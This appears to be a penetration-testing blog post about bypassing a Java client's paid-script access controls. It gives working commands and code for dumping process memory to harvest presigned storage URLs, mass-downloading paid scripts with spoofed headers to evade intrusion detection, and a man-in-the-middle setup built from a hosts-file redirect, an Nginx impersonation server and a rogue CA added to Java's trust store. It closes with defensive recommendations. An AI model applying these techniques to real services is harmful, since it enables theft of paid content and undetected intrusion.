Bypassing Script Access Controls
It had been a while since my last serious #infosec #pentest test, but when an old client threw me a challenge over drinks, I couldn’t resist. The stakes were high: a new system his company had deployed, allegedly impenetrable, and he was confident I wouldn’t crack it. Little did he know how this would unfold.
Disclaimer
This penetration test was conducted a few years ago for a confidential client, with all actions fully compliant. The client granted explicit permission to share this write-up. Specific details have been anonymised to protect the client’s privacy, and the vulnerability discussed was responsibly disclosed and has since been resolved.
Be responsible when disclosing vulnerabilities publicly. Even if you have permission, do not post about vulnerabilities in proprietary software unless the system's architecture has been significantly changed, not just patched. Vulnerabilities may reappear if the underlying architecture remains the same.
In this case, the client has since developed a new system, making this post appropriate and responsible to share. The aim of this blog post is to show the importance of strong security practices in software development.
The Challenge
ScriptCo's flagship product is a Java-based client application used for automating tasks across various online platforms. My mission for this penetration test was threefold:
- Bypass access controls to gain access to paid scripts through the client application.
- Download all available scripts, both free and paid, from ScriptCo's ecosystem.
- Conduct all testing activities stealthily, without triggering ScriptCo's Intrusion Detection System (IDS).
ScriptCo operates an online platform where users can manage scripts for task automation. The typical workflow looks like this:
- Users create an account on ScriptCo's website.
- They browse a catalogue of available scripts, which includes both free and paid options.
- Free scripts can be added to a user's account directly from the website.
- Paid scripts require users to complete a purchase before they can be added to their account.
The Java client application serves as the core of ScriptCo's service. Here's how it interacts with a user's account and the available scripts:
- Users download and install the Java client on their local machine.
- Upon launch, the client prompts for login credentials.
- After successful authentication, the client communicates with ScriptCo's servers to retrieve the list of scripts associated with the user's account.
- The client displays all scripts (both free and paid) that the user has added to their account.
- Users can select and run individual scripts from within the client interface.
Initial Reconnaissance
Upon examining the client's JAR file, I encountered heavy obfuscation. While this presented a challenge for static analysis, I knew I had to explore alternative avenues.
Network Traffic Analysis
I launched the client and monitored network traffic using Wireshark. Despite encryption, I identified two key domains: cdn.scriptco.com
and downloads.scriptco.com
.
My investigation of cdn.scriptco.com
revealed a DigitalOcean IP range, suggesting VPS hosting. I attempted an SSH connection through a public VPN:
$ ssh root@cdn.scriptco.com
The authenticity of host 'cdn.scriptco.com (203.0.113.42)' cant be established.
ECDSA key fingerprint is SHA256:uShJuUt5WqZnYZ8HnFX3Sj5LMZYete1xXYDaQ3q6bNc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Meanwhile, visiting downloads.scriptco.com in a browser returned a cloud storage “unauthorised” page, indicating the use of cloud storage for script distribution.
Diving Deeper
Despite the JAR file's obfuscation, I discovered that parts of it were encrypted rather than merely obfuscated, suggesting runtime decryption.
Memory Dump: Finding the Payload
To understand the script deployment process, I performed a memory dump of the running client:
ps aux | grep java
sudo gcore -o core_dump [PID]
My initial search focused on JAR files:
strings core_dump[PID] | grep '.jar'
This revealed intriguing URLs with a structure that would prove crucial to my exploit:
/scriptmaker123/taskautomation/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/us-east-1/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef
Analysing these URLs revealed critical information:
- Predictable path structure:
/[author_username]/[script_name]/script.jar
- AWS-style signed headers, including:
X-Amz-Algorithm
: Signing algorithm (AWS4-HMAC-SHA256)X-Amz-Credential
: Access key ID and scopeX-Amz-Date
: Request date and timeX-Amz-Expires
: URL expiration time (100 seconds)X-Amz-SignedHeaders
: Headers included in signature calculationX-Amz-Signature
: Calculated signature
The short expiration time (100 seconds) was clearly a security measure to prevent unauthorised sharing, but I saw it as a potential weakness to exploit.
Unveiling the Infrastructure
Building on my initial findings, I performed a more targeted search for HTTPS URLs in the memory dump:
strings core_dump[PID] | grep 'https://'
This search yielded another crucial piece of information:
https://storage.ab1c23de4f5g.r2.cloudflarestorage.com/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/auto/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890
This discovery confirmed the use of Cloudflare R2 for script storage and distribution.
Crafting My Attack
Given the 100-second expiration window, I created a Python script that would:
- Trigger a free script download in the client
- Perform an immediate memory dump
- Parse the dump for the new URL structure
Once I had the URL structure, I utilised my knowledge of the script names from the public shop to create a list of wget commands for all known scripts, both free and paid. To exploit the short 100-second window effectively and evade detection, I used Python's multiprocessing to run multiple wget commands simultaneously. Here's a simplified version of my script:
import multiprocessing
import subprocess
def run_wget(url):
subprocess.run(["wget",
"--header=User-Agent: Java/17.0.2",
"--header=Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"--header=Connection: keep-alive",
url])
if __name__ == "__main__":
# List of URLs generated based on the structure discovered
urls = [
"https://storage.ab1c23de4f5g.r2.cloudstorage.com/scriptmaker123/taskautomation/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/auto/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890",
# ... many more URLs for every script in the shop
]
# Create a pool of workers
with multiprocessing.Pool(processes=multiprocessing.cpu_count()) as pool:
# Map the run_wget function to all URLs
pool.map(run_wget, urls)
The headers used in my wget commands were meticulously designed to mimic the legitimate client's requests:
User-Agent: Java/17.0.2
: This matches the Java version used by the client application.Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
: This mimics the client's accepted content types.Connection: keep-alive
: This replicates the connection behavior of the actual client.
By using these headers, my requests appeared identical to those made by legitimate users, significantly reducing the risk of detection by pattern-matching IDS rules.
Setting Up the Man-in-the-Middle Attack
With all the scripts downloaded, the next step was to set up a man-in-the-middle attack to serve these scripts to the client. I set up a local Nginx server with a self-signed SSL certificate to mimic the cloud storage domain:
sudo echo "127.0.0.1 storage.ab1c23de4f5g.r2.cloudstorage.com" >> /etc/hosts
My Nginx configuration was carefully crafted to serve our purposes:
server {
listen 443 ssl;
server_name storage.ab1c23de4f5g.r2.cloudstorage.com;
ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt;
ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key;
root /var/www/html/cloudstorage;
location / {
try_files $uri /script.zip;
}
location = /script.zip {
add_header Content-Disposition "attachment; filename=script.zip";
}
error_log /var/log/nginx/cloudstorage_error.log debug;
access_log /var/log/nginx/cloudstorage_access.log;
}
Overcoming SSL Hurdles
Initially, I encountered SSL errors in the console:
[ERROR] Failed to establish SSL connection
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
at sun.security.ssl.Alert.createSSLException(Alert.java:131)
at sun.security.ssl.TransportContext.fatal(TransportContext.java:349)
...
To overcome this, I created my own Certificate Authority and added it to Java's trust store:
# Generate a new root CA key
openssl genrsa -out rootCA.key 4096
# Create and self-sign the root CA certificate
openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.crt
# Convert the root certificate to DER format
openssl x509 -outform der -in rootCA.crt -out rootCA.der
# Import the root CA into Java's trust store
sudo keytool -importcert -alias scriptco-ca -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit -file rootCA.der -noprompt
In this penetration test, focusing on network vulnerabilities instead of attempting to break encryption or reverse-engineer the Java client led to a successful exploit. Here's why this approach worked:
- The client used strong encryption and obfuscation, making direct attacks time-consuming. By intercepting network traffic, I bypassed these protections entirely.
- By manipulating network requests, I utilised the client’s own decryption mechanisms, maintaining the integrity checks as if the content came from legitimate servers.
- The client trusted any content served from what it believed to be legitimate servers. By mimicking ScriptCo's servers, I exploited this trust without breaking internal security.
- Directly attacking encryption or reverse engineering could have triggered security mechanisms. Our network approach allowed for stealthier interaction with the client, reducing the risk of detection.
- Once I mimicked ScriptCo’s servers, I could serve any script to the client, making the attack more scalable than if I had focused on individual script protections.
This highlights that sometimes, effective attacks don’t involve breaking encryption or reverse engineering but rather exploiting broader system networking weaknesses. Here, the script delivery mechanism was the key vulnerability.
The Breakthrough
With the setup in place, I successfully:
- Downloaded all available scripts (free and paid) from ScriptCo’s ecosystem.
- Intercepted script delivery requests.
- Served arbitrary scripts, bypassing ScriptCo's access controls entirely.
This vulnerability nullified the distinction between free and paid scripts, posing a significant threat to ScriptCo's business model. This vulnerability allowed me to bypass access controls entirely, without needing to break encryption or reverse-engineer complex code.
Wrapping Up
My penetration test revealed key vulnerabilities in ScriptCo’s script delivery and access control systems, primarily:
- Over-reliance on client-side integrity and obfuscation.
- Vulnerability to man-in-the-middle attacks.
- Insufficient server-side validation and predictable URL structures.
Based on these findings, I recommended ScriptCo:
- Implement robust client-side verification of script integrity and origin.
- Use certificate pinning to prevent man-in-the-middle attacks.
- Strengthen server-side checks for script legitimacy.
- Randomise URL structures and improve access controls on Cloudflare storage.
Lessons Learned
Several key takeaways emerged from this penetration test:
- A multi-layered approach is critical. Relying on encryption and client-side security alone is insufficient.
- System vulnerabilities often stem from the broader infrastructure, not just the code.
- Regular penetration testing and security audits are essential for proactive defence.
Conclusion
This engagement reinforced why I enjoy penetration testing—uncovering vulnerabilities and helping companies strengthen their security. In this case, combining reconnaissance, man-in-the-middle attacks, and careful replication of client behavior led to a full bypass of ScriptCo's access controls.
Avoiding detection by ScriptCo’s IDS required a stealth-focused approach from start to finish, revealing opportunities for improvement in their detection systems. Continuous security testing and a defence-in-depth strategy remain crucial for maintaining robust security.
By sharing these findings, I hope to contribute to the broader cybersecurity community and help organisations strengthen their defences. Penetration testing is not just about finding vulnerabilities—it’s about helping to build stronger, more secure systems.